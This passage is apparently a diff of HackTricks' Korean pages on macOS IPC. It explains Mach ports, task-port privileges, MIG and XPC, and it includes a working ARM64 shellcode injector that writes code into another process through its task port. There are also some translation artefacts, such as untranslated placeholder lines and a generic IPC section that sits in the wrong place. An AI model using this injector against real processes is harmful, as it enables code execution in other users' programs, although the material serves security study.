printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
|
||||
번역된 텍스트가 여기에 들어갑니다.
|
||||
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||
|
||||
|
||||
// Construct our message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
} message;
|
||||
|
||||
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
message.header.msgh_remote_port = port;
|
||||
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||
|
||||
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||
message.some_number = 35;
|
||||
|
||||
// Send the message.
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_SEND_MSG, // Options. We're sending a message.
|
||||
sizeof(message), // Size of the message being sent.
|
||||
0, // Size of the buffer for receiving.
|
||||
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
|
||||
### 특권 포트
|
||||
|
||||
* **호스트 포트**: 프로세스가 이 포트에 대한 **Send** 권한을 가지고 있다면 시스템에 대한 **정보**를 얻을 수 있습니다 (예: `host_processor_info`).
|
||||
* **호스트 특권 포트**: 이 포트에 대한 **Send** 권한을 가진 프로세스는 커널 익스텐션을 로드하는 등 **특권 작업**을 수행할 수 있습니다. 이 권한을 얻으려면 **프로세스가 루트여야** 합니다.
|
||||
* 또한 **`kext_request`** API를 호출하려면 다른 엔타이틀먼트 \*\*`com.apple.private.kext*`\*\*가 필요하며, 이는 Apple 이진 파일에만 부여됩니다.
|
||||
* **태스크 이름 포트**: \_태스크 포트\_의 권한이 없는 버전입니다. 태스크를 참조하지만 제어할 수는 없습니다. 이를 통해 사용 가능한 것은 `task_info()`뿐입니다.
|
||||
* **태스크 포트** (또는 커널 포트)**:** 이 포트에 대한 Send 권한이 있으면 태스크를 제어할 수 있습니다 (메모리 읽기/쓰기, 스레드 생성 등).
|
||||
* 호출 `mach_task_self()`를 사용하여 호출자 태스크에 대한 이 포트의 **이름을 가져올** 수 있습니다. 이 포트는 \*\*`exec()`\*\*를 통해만 **상속**됩니다. `fork()`로 생성된 새로운 태스크는 새로운 태스크 포트를 받습니다 (`exec()` 이후 suid 이진 파일에서도 특별한 경우로 태스크는 `exec()` 이후 새로운 태스크 포트를 받습니다). 태스크를 생성하고 해당 포트를 얻는 유일한 방법은 `fork()`를 수행하면서 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)를 수행하는 것입니다.
|
||||
* 이 포트에 액세스하기 위한 제한 사항 (바이너리 `AppleMobileFileIntegrity`의 `macos_task_policy`에서):
|
||||
* 앱이 **`com.apple.security.get-task-allow` 엔타이틀먼트**를 가지고 있다면 **동일한 사용자의 프로세스가 태스크 포트에 액세스**할 수 있습니다 (주로 디버깅을 위해 Xcode에서 추가됨). **노타리제이션** 프로세스는 프로덕션 릴리스에서 이를 허용하지 않습니다.
|
||||
* **`com.apple.system-task-ports`** 엔타이틀먼트가 있는 앱은 커널을 제외한 **모든** 프로세스의 **태스크 포트를 얻을 수** 있습니다. 이전 버전에서는 \*\*`task_for_pid-allow`\*\*로 불렸습니다. 이 권한은 Apple 애플리케이션에만 부여됩니다.
|
||||
* **루트는** **하드닝된** 런타임으로 컴파일되지 않은 애플리케이션의 태스크 포트에 **액세스할 수 있습니다** (Apple에서 제공되지 않은 경우).
|
||||
|
||||
### 태스크 포트를 통한 스렬코드 삽입
|
||||
|
||||
다음에서 스렬코드를 가져올 수 있습니다:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### macOS IPC (Inter-Process Communication)
|
||||
|
||||
#### Introduction
|
||||
|
||||
Inter-Process Communication (IPC) is a mechanism that allows processes to communicate and share data with each other. macOS provides several IPC mechanisms, including Mach ports, XPC services, and Distributed Objects. These mechanisms are used by applications to communicate with system services and other applications.
|
||||
|
||||
#### Security Implications
|
||||
|
||||
Improperly configured IPC mechanisms can introduce security vulnerabilities, such as privilege escalation and information disclosure. It is important to properly configure IPC mechanisms and validate the data exchanged between processes to prevent these vulnerabilities.
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
Some IPC mechanisms may be used by malicious actors to escalate their privileges on the system. By exploiting vulnerabilities in IPC mechanisms, an attacker may be able to execute code with elevated privileges and perform unauthorized actions on the system.
|
||||
|
||||
#### Best Practices
|
||||
|
||||
To secure IPC mechanisms on macOS, follow these best practices:
|
||||
|
||||
1. **Use Secure Communication Channels**: Encrypt data exchanged between processes to prevent eavesdropping and tampering.
|
||||
2. **Validate Input Data**: Always validate input data received from other processes to prevent injection attacks and data manipulation.
|
||||
3. **Limit Privileges**: Restrict the privileges of processes using IPC mechanisms to minimize the impact of potential security vulnerabilities.
|
||||
4. **Monitor IPC Activity**: Monitor IPC activity on the system to detect any suspicious behavior or unauthorized access attempts.
|
||||
|
||||
By following these best practices, you can enhance the security of IPC mechanisms on macOS and reduce the risk of privilege escalation and other security threats.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
IPC mechanisms are essential for inter-process communication on macOS, but they can also introduce security risks if not properly configured and secured. By understanding the security implications of IPC mechanisms and following best practices for securing them, you can mitigate the risks associated with IPC and protect your system from potential attacks.
|
||||
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
이전 프로그램을 **컴파일**하고 동일한 사용자로 코드를 주입할 수 있도록 **엔터티먼트**를 추가하십시오 (그렇지 않으면 **sudo**를 사용해야 합니다).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
|
||||
\`\`\`objectivec // gcc -framework Foundation -framework Appkit sc\_injector.m -o sc\_injector
|
||||
|
||||
\#import \<Foundation/Foundation.h> #import \<AppKit/AppKit.h> #include \<mach/mach\_vm.h> #include \<sys/sysctl.h>
|
||||
|
||||
\#ifdef **arm64**
|
||||
|
||||
kern\_return\_t mach\_vm\_allocate ( vm\_map\_t target, mach\_vm\_address\_t \*address, mach\_vm\_size\_t size, int flags );
|
||||
|
||||
kern\_return\_t mach\_vm\_write ( vm\_map\_t target\_task, mach\_vm\_address\_t address, vm\_offset\_t data, mach\_msg\_type\_number\_t dataCnt );
|
||||
|
||||
\#else #include \<mach/mach\_vm.h> #endif
|
||||
|
||||
\#define STACK\_SIZE 65536 #define CODE\_SIZE 128
|
||||
|
||||
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode\[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||
|
||||
int inject(pid\_t pid){
|
||||
|
||||
task\_t remoteTask;
|
||||
|
||||
// Get access to the task port of the process we want to inject into kern\_return\_t kr = task\_for\_pid(mach\_task\_self(), pid, \&remoteTask); if (kr != KERN\_SUCCESS) { fprintf (stderr, "Unable to call task\_for\_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
|
||||
|
||||
// Allocate memory for the stack mach\_vm\_address\_t remoteStack64 = (vm\_address\_t) NULL; mach\_vm\_address\_t remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate(remoteTask, \&remoteStack64, STACK\_SIZE, VM\_FLAGS\_ANYWHERE);
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach\_error\_string(kr)); return (-2); } else {
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
|
||||
|
||||
// Allocate memory for the code remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate( remoteTask, \&remoteCode64, CODE\_SIZE, VM\_FLAGS\_ANYWHERE );
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach\_error\_string(kr)); return (-2); }
|
||||
|
||||
// Write the shellcode to the allocated memory kr = mach\_vm\_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm\_address\_t) injectedCode, // Source 0xa9); // Length of the source
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach\_error\_string(kr)); return (-3); }
|
||||
|
||||
// Set the permissions on the allocated code memory kr = vm\_protect(remoteTask, remoteCode64, 0x70, FALSE, VM\_PROT\_READ | VM\_PROT\_EXECUTE);
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach\_error\_string(kr)); return (-4); }
|
||||
|
||||
// Set the permissions on the allocated stack memory kr = vm\_protect(remoteTask, remoteStack64, STACK\_SIZE, TRUE, VM\_PROT\_READ | VM\_PROT\_WRITE);
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach\_error\_string(kr)); return (-4); }
|
||||
|
||||
// Create thread to run shellcode struct arm\_unified\_thread\_state remoteThreadState64; thread\_act\_t remoteThread;
|
||||
|
||||
memset(\&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK\_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char\* p = (const char\*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM\_THREAD\_STATE64; remoteThreadState64.ash.count = ARM\_THREAD\_STATE64\_COUNT; remoteThreadState64.ts\_64.\_\_pc = (u\_int64\_t) remoteCode64; remoteThreadState64.ts\_64.\_\_sp = (u\_int64\_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread\_create\_running(remoteTask, ARM\_THREAD\_STATE64, // ARM\_THREAD\_STATE64, (thread\_state\_t) \&remoteThreadState64.ts\_64, ARM\_THREAD\_STATE64\_COUNT , \&remoteThread );
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach\_error\_string (kr)); return (-3); }
|
||||
|
||||
return (0); }
|
||||
|
||||
pid\_t pidForProcessName(NSString \*processName) { NSArray \*arguments = @\[@"pgrep", processName]; NSTask \*task = \[\[NSTask alloc] init]; \[task setLaunchPath:@"/usr/bin/env"]; \[task setArguments:arguments];
|
||||
|
||||
NSPipe \*pipe = \[NSPipe pipe]; \[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle \*file = \[pipe fileHandleForReading];
|
||||
|
||||
\[task launch];
|
||||
|
||||
NSData \*data = \[file readDataToEndOfFile]; NSString \*string = \[\[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid\_t)\[string integerValue]; }
|
||||
|
||||
BOOL isStringNumeric(NSString _str) { NSCharacterSet_ nonNumbers = \[\[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = \[str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
|
||||
|
||||
int main(int argc, const char \* argv\[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv\[0]); return 1; }
|
||||
|
||||
NSString \*arg = \[NSString stringWithUTF8String:argv\[1]]; pid\_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) { pid = \[arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", \[arg UTF8String], pid); } }
|
||||
|
||||
inject(pid); }
|
||||
|
||||
return 0; }
|
||||
|
||||
````
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
````
|
||||
|
||||
#### Task port를 통한 스레드 내 Dylib Injection
|
||||
|
||||
macOS에서 **스레드**는 **Mach**를 통해 조작되거나 **posix `pthread` api**를 사용하여 조작될 수 있습니다. 이전 인젝션에서 생성된 스레드는 Mach api를 사용하여 생성되었기 때문에 **posix 호환성이 없습니다**.
|
||||
|
||||
**단순한 쉘코드를 인젝션**하여 명령을 실행하는 것이 가능했던 이유는 **posix 호환성이 필요하지 않았기 때문**이며, Mach와만 작동해도 충분했습니다. **더 복잡한 인젝션**을 하려면 **스레드**가 **posix 호환성**을 갖추어야 합니다.
|
||||
|
||||
따라서 **스레드를 개선**하기 위해 \*\*`pthread_create_from_mach_thread`\*\*를 호출하여 **유효한 pthread를 생성**해야 합니다. 그런 다음, 이 새로운 pthread는 시스템에서 **dylib를 로드**하기 위해 **dlopen을 호출**할 수 있으므로, 다른 작업을 수행하기 위해 새로운 쉘코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.
|
||||
|
||||
예를 들어, (로그를 생성하고 해당 로그를 수신할 수 있는) **예제 dylibs**를 다음에서 찾을 수 있습니다:
|
||||
|
||||
\`\`\`bash gcc -framework Foundation -framework Appkit dylib\_injector.m -o dylib\_injector ./inject \`\`\` ### Task port를 통한 스레드 하이재킹
|
||||
|
||||
이 기술에서는 프로세스의 스레드가 하이재킹됩니다:
|
||||
|
||||
### XPC
|
||||
|
||||
#### 기본 정보
|
||||
|
||||
XPC는 macOS 및 iOS에서 사용되는 XNU(커널) Inter-Process Communication의 약자로, macOS 및 iOS에서 프로세스 간 통신을 위한 프레임워크입니다. XPC는 시스템 내에서 다른 프로세스 간에 안전하고 비동기적인 메소드 호출을 할 수 있는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 구성 요소가 작업을 수행하는 데 필요한 권한만 갖고 있는 권한 분리 애플리케이션의 생성을 허용하여, 침해된 프로세스로부터의 잠재적인 피해를 제한합니다.
|
||||
|
||||
이 **통신이 작동하는 방식** 및 **취약할 수 있는 방법**에 대한 자세한 정보는 확인하세요:
|
||||
|
||||
### MIG - Mach Interface Generator
|
||||
|
||||
MIG는 Mach IPC 코드 생성 과정을 간소화하기 위해 만들어졌습니다. 주어진 정의에 따라 서버와 클라이언트가 통신할 수 있도록 필요한 코드를 생성합니다. 생성된 코드가 어색하더라도, 개발자는 그것을 가져와서 이전보다 훨씬 간단한 코드를 작성할 수 있습니다.
|
||||
|
||||
자세한 정보는 확인하세요:
|
||||
|
||||
### 참고 자료
|
||||
|
||||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
|
||||
|
||||
</details>
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -38,15 +38,15 @@ n2 : uint32_t);
|
|||
{% endcode %}
|
||||
|
||||
이제 mig를 사용하여 서버 및 클라이언트 코드를 생성하여 서로 통신하고 Subtract 함수를 호출할 수 있도록합니다:
|
||||
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
|
||||
현재 디렉토리에 여러 새 파일이 생성됩니다.
|
||||
|
||||
**`myipcServer.c`** 및 **`myipcServer.h`** 파일에는 기본적으로 수신된 메시지 ID에 따라 호출할 함수를 정의하는 **`SERVERPREFmyipc_subsystem`** 구조체의 선언과 정의가 포함되어 있습니다 (시작 번호로 500을 지정했습니다):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
||||
|
@ -62,9 +62,9 @@ myipc_server_routine,
|
|||
}
|
||||
};
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipcServer.h" %}서버 코드를 작성하는 헤더 파일입니다.{% endtab %}
|
||||
서버 코드를 작성하는 헤더 파일입니다.
|
||||
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
@ -77,7 +77,9 @@ struct routine_descriptor /* Array of routine descriptors */
|
|||
routine[1];
|
||||
} SERVERPREFmyipc_subsystem;
|
||||
```
|
||||
|
||||
기존 구조를 기반으로 **`myipc_server_routine`** 함수는 **메시지 ID**를 받아 적절한 호출할 함수를 반환합니다:
|
||||
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
|
@ -92,16 +94,19 @@ return 0;
|
|||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
|
||||
이 예제에서는 정의된 함수가 하나뿐이지만, 더 많은 함수를 정의했다면 이들은 **`SERVERPREFmyipc_subsystem`** 배열 내에 있었을 것이며, 첫 번째 함수는 **500** ID에 할당되었을 것이고, 두 번째 함수는 **501** ID에 할당되었을 것입니다...
|
||||
|
||||
실제로 이 관계를 **`myipcServer.h`**의 **`subsystem_to_name_map_myipc`** 구조체에서 식별하는 것이 가능합니다:
|
||||
실제로 이 관계를 \*\*`myipcServer.h`\*\*의 **`subsystem_to_name_map_myipc`** 구조체에서 식별하는 것이 가능합니다:
|
||||
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
마지막으로, 서버가 작동하도록 하는 데 중요한 기능 중 하나는 **`myipc_server`**일 것입니다. 이 함수는 실제로 받은 ID에 관련된 함수를 **호출**할 것입니다:
|
||||
|
||||
마지막으로, 서버가 작동하도록 하는 데 중요한 기능 중 하나는 \*\*`myipc_server`\*\*일 것입니다. 이 함수는 실제로 받은 ID에 관련된 함수를 **호출**할 것입니다:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
|
@ -139,8 +144,6 @@ return FALSE;
|
|||
|
||||
다음은 서버와 클라이언트를 만들기 위한 코드이며, 클라이언트는 서버에서 함수를 호출할 수 있습니다. Subtract:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
```c
|
||||
// gcc myipc_server.c myipcServer.c -o myipc_server
|
||||
|
||||
|
@ -171,9 +174,11 @@ return 1;
|
|||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}번역된 텍스트가 여기에 들어갑니다.
|
||||
|
||||
|
||||
번역된 텍스트가 여기에 들어갑니다.
|
||||
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -198,14 +203,17 @@ printf("Port right name %d\n", port);
|
|||
USERPREFSubtract(port, 40, 2);
|
||||
}
|
||||
```
|
||||
|
||||
### 이진 분석
|
||||
|
||||
많은 이진 파일이 이제 MIG를 사용하여 mach 포트를 노출시키기 때문에, **MIG가 사용되었는지를 식별**하고 각 메시지 ID별로 **MIG가 실행하는 함수**를 알아내는 것이 흥미로울 것입니다.
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)는 Mach-O 이진 파일에서 MIG 정보를 구문 분석하여 메시지 ID를 나타내고 실행할 함수를 식별할 수 있습니다:
|
||||
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
|
||||
이전에 **수신된 메시지 ID에 따라 올바른 함수를 호출하는 함수**는 `myipc_server`라고 언급되었습니다. 그러나 일반적으로 이진 파일의 심볼(함수 이름 없음)을 가지고 있지 않으므로, **디컴파일된 모습을 확인하는 것이 흥미로울 것**입니다. 이 함수의 코드는 항상 매우 유사할 것입니다(이 함수의 코드는 노출된 함수와 독립적입니다):
|
||||
|
||||
{% tabs %}
|
||||
|
@ -334,7 +342,6 @@ return r0;
|
|||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 데이터는 [**이 Hopper 스크립트를 사용하여**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) 추출할 수 있습니다.
|
||||
|
||||
* **다음 Discord 그룹에 가입** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) **하거나** [**텔레그램 그룹**](https://t.me/peass) **에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **를 팔로우하세요**.
|
||||
* **해킹 기법을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 PR을 제출하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
# macOS XPC
|
||||
|
||||
## macOS XPC
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅이 되는 AWS 해킹</strong>을 배워보세요<strong>!</strong></summary>
|
||||
|
@ -9,12 +11,12 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
### 기본 정보
|
||||
|
||||
XPC는 macOS와 iOS에서 **프로세스 간 통신**을 위한 XNU(맥 운영체제에서 사용되는 커널) 인터프로세스 통신 프레임워크입니다. XPC는 시스템 내에서 **안전하고 비동기적인 메서드 호출**을 통해 서로 다른 프로세스 간 통신을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, **권한이 분리된 애플리케이션의 생성**을 허용하여 각 **구성 요소**가 **필요한 권한만 가지고** 작업을 수행하도록 제한하여, 감염된 프로세스로부터 발생할 수 있는 잠재적인 피해를 제한합니다.
|
||||
|
||||
|
@ -28,19 +30,20 @@ XPC의 주요 이점은 다음과 같습니다:
|
|||
|
||||
유일한 **단점**은 애플리케이션을 **여러 프로세스로 분리**하여 XPC를 통해 통신하게 만드는 것이 **덜 효율적**이라는 것입니다. 하지만 현재의 시스템에서는 이를 거의 알아채지 못하고 이점이 더 큽니다.
|
||||
|
||||
## 애플리케이션별 XPC 서비스
|
||||
### 애플리케이션별 XPC 서비스
|
||||
|
||||
애플리케이션의 XPC 구성 요소는 **애플리케이션 자체 내에 있습니다.** 예를 들어, Safari에서는 **`/Applications/Safari.app/Contents/XPCServices`**에서 찾을 수 있습니다. 이들은 **`.xpc`** 확장자를 가지며 (예: **`com.apple.Safari.SandboxBroker.xpc`**), **메인 이진 파일과 함께 번들**로 제공됩니다: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` 및 `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
